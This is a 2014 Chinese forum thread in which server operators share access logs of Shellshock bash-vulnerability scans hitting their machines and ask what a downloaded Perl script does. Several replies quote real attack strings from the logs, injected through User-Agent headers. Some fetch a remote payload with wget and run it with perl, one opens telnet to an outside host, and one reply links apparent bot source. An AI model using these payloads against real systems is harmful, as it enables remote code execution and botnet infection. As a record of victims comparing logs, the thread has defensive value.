juicy

Bash 漏洞:服务器被扫描了。。。

  •  
  •   juicy · Sep 26, 2014 · 5229 views
    This topic created in 4423 days ago, the information mentioned may be changed or developed.
    看到了一条日志记录:

    74.201.85.77 - - [26/Sep/2014:07:35:27 +0000] "GET / HTTP/1.0" 403 162 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\x22"


    然后我登录了 http://208.118.61.44/wow1 这个文件,吓尿了。。。有perl大神能告诉我这个脚本是干啥的吗?
    11 replies  •  2014-09-28 11:11:05 +08:00
    20150517
    20150517
    Sep 26, 2014 via Android
    1
    中马了
    LazyZhu
    LazyZhu
    Sep 26, 2014
    2
    http://193.2.50.126/stuff/linux/dbot.txt
    kingwkb
    kingwkb
    Sep 26, 2014
    3
    检查了下,的确有

    54.251.83.67 - - [26/Sep/2014:13:42:09 +0800] "GET / HTTP/1.1" 200 2664 "-" "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a"
    74.201.85.77 - - [26/Sep/2014:15:26:30 +0800] "GET / HTTP/1.0" 200 2664 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\x22"
    74.201.85.77 - - [26/Sep/2014:15:26:30 +0800] "GET /test-cgi/test.sh HTTP/1.0" 404 162 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\x22"
    74.201.85.77 - - [26/Sep/2014:15:26:30 +0800] "GET /cgi-bin/test.sh HTTP/1.0" 404 162 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\x22"
    74.201.85.77 - - [26/Sep/2014:15:26:30 +0800] "GET /cgi-bin/php HTTP/1.0" 404 162 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\x22"
    xd547
    xd547
    Sep 26, 2014
    4
    貌似我的也被扫描了
    $ sudo cat * |grep bash
    209.126.230.72 - - [25/Sep/2014:14:10:39 +0800] "GET / HTTP/1.0" 301 178 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
    114.91.107.58 - - [26/Sep/2014:00:54:00 +0800] "GET / HTTP/1.1" 301 178 "-" "() { :;}; /bin/bash -c \x22telnet 197.242.148.29 9999\x22"
    198.46.135.194 - - [26/Sep/2014:03:15:06 +0800] "GET / HTTP/1.0" 301 178 "() { :; }; ping -c 3 198.46.158.94" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
    janxin
    janxin
    Sep 26, 2014
    5
    看起来就是执行了个后门perl...
    arcas
    arcas
    Sep 26, 2014
    6
    E486: 找不到模式: bash
    binux
    binux
    Sep 26, 2014
    7
    74.201.85.67 - - [26/Sep/2014:14:37:00 +0400] "GET /cgi-bin/test.sh HTTP/1.0" 500 192 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\x22" "-"

    也有,还是个相近的ip
    binux
    binux
    Sep 26, 2014
    8
    还有人干这个。。

    209.126.230.72 - - [25/Sep/2014:10:24:48 +0400] "GET / HTTP/1.0" 500 192 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"
    fanta
    fanta
    Sep 27, 2014
    9
    那个服务器好像关了,wow1不能访问了.
    chijiao
    chijiao
    Sep 27, 2014
    10
    我的也被扫描了,我的解决方案是用squid做代理
    sorcerer
    sorcerer
    Sep 28, 2014
    11
    我也被执行过这个脚本,能告诉我具体脚本做了啥吗.好有相应动作.
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   1534 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 40ms · UTC 17:56 · PVG 01:56 · LAX 09:56 · JFK 12:56
    ♥ Do have faith in what you're doing.